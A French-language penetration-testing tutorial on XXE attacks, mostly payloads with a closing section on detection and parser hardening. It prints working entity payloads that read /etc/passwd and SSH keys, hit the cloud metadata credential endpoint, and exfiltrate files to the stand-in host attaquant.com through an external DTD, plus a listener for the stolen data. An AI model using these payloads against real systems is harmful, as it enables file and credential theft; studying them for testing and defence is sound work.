XXE en profondeur
XXE (XML External Entity) exploite le traitement des entités externes XML pour lire des fichiers locaux, effectuer des SSRF, ou exfiltrer des données.
Rappel XML§
<!-- Entité interne -->
<!DOCTYPE foo [ <!ENTITY name "valeur"> ]>
<root>&name;</root> <!-- → "valeur" -->
<!-- Entité externe — lit un fichier ou une URL -->
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd"> ]>
<root>&ext;</root> <!-- → contenu de /etc/passwd -->
<!-- Entité de paramètre (utilisée dans les DTD) -->
<!DOCTYPE foo [ <!ENTITY % param "valeur"> ]>
XXE classique — lecture de fichiers§
<!-- Lire /etc/passwd -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<!-- Lire un fichier Windows -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<!-- Lire une clé SSH -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///home/alice/.ssh/id_rsa">
]>
<!-- Via le protocole PHP (si le backend est PHP) -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<!-- → Contenu en base64, contourne les caractères spéciaux qui casseraient le XML -->
XXE via SSRF§
<!-- Accéder à un service interne -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root>&xxe;</root>
<!-- Scanner un port interne -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://localhost:8080/admin">
]>
Blind XXE — aucun retour dans la réponse§
OOB (Out-of-Band) via DTD externe§
Quand le serveur traite le XXE mais n’affiche pas la valeur, on utilise une DTD externe hébergée sur notre serveur.
# 1. Héberger une DTD malveillante sur notre serveur
# http://attaquant.com/evil.dtd
<!-- evil.dtd — DTD externe hébergée par l'attaquant -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attaquant.com/?data=%file;'>">
%exfil;
%send;
<!-- Payload envoyé à la cible -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://attaquant.com/evil.dtd">
%xxe;
]>
<root><data>irrelevant</data></root>
# 2. Serveur attaquant reçoit la requête
# GET /?data=root:x:0:0:root:/root:/bin/bash... HTTP/1.1
# Serveur Python simple pour la réception
python3 -m http.server 80
# Ou avec logging complet :
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
def do_GET(self):
print('[RECU]', self.path)
self.send_response(200)
self.end_headers()
HTTPServer(('0.0.0.0', 80), H).serve_forever()
"
Blind XXE via Burp Collaborator§
<!-- Test de connectivité OOB (confirme le XXE) -->
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://xyz.oastify.com/xxe-test">
%xxe;
]>
<!-- Exfiltration via DNS (contourne les firewalls HTTP) -->
<!-- evil.dtd adapté pour DNS -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % oob "<!ENTITY % dns SYSTEM 'http://%file;.attaquant.com/'>">
%oob;
%dns;
Error-based Blind XXE§
Quand les erreurs XML sont affichées dans la réponse :
<!-- DTD hébergée — déclenche une erreur contenant le fichier -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % error "<!ENTITY % oops SYSTEM 'file:///FICHIER_INEXISTANT/%file;'>">
%error;
%oops;
<!-- → Erreur : "FICHIER_INEXISTANT/root:x:0:0:..." → fuite dans le message d'erreur -->
XXE via formats alternatifs§
XXE n’est pas limité aux requêtes XML directes. Tout format parsé en XML peut être vulnérable.
# DOCX / XLSX / PPTX (archives ZIP contenant du XML)
# Extraire et modifier word/document.xml
unzip document.docx -d doc_extracted/
# Modifier doc_extracted/word/document.xml pour injecter un XXE
# Recompresser
cd doc_extracted && zip -r ../evil.docx .
# SVG (si le serveur convertit des SVG)
# evil.svg
<!-- evil.svg — XXE dans un SVG uploadé -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
# PDF via FOP (Apache Formatting Objects Processor)
# Si un endpoint génère des PDF depuis du XML
# XSL-FO vulnérable à XXE
# RSS/Atom (parseurs XML côté serveur)
# SAML (assertions XML)
# SOAP (enveloppes XML)
XXE dans les fichiers de configuration§
<!-- Maven pom.xml — si parsé par un CI/CD -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE project [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<project>
<description>&xxe;</description>
</project>
Chaining XXE → RCE§
<!-- Si PHP avec expect:// activé (rare mais existant) -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "expect://id">
]>
<!-- Via Groovy/Java XXE → SSRF → service interne vulnérable -->
<!-- Ex: XXE → http://localhost:8080/jenkins/script → RCE Jenkins -->
Détection§
# Burp Suite — scanner XXE
# Intercepter une requête XML → clic droit → Scan → Active Scan
# Test manuel — injecter dans tous les paramètres XML
# Tester aussi les endpoints qui acceptent du JSON :
# Changer Content-Type: application/json → application/xml
# et convertir le body en XML
# Paramètres à tester
# - Champs de fichier uploadé (SVG, DOCX, PDF)
# - APIs SOAP
# - Requêtes qui retournent du XML
# - Headers comme Content-Type, Accept
Contre-mesures§
# Python — désactiver les entités externes
from lxml import etree
# Dangereux
tree = etree.parse(xml_input)
# Sûr
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(xml_input, parser)
# Java — désactiver les entités
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
# PHP
libxml_disable_entity_loader(true); # PHP < 8.0
# PHP 8.0+ : désactivé par défaut
Checklist XXE :
✓ Désactiver le chargement des DTD externes
✓ Désactiver les entités externes (general + parameter)
✓ Utiliser des parseurs XML sûrs par défaut (JAXB avec restrictions)
✓ Valider et sanitiser les fichiers uploadés (SVG, DOCX, RSS...)
✓ Pas de résolution réseau depuis le parseur XML (no_network=True)
✓ Mettre à jour les bibliothèques XML régulièrement—The Gardener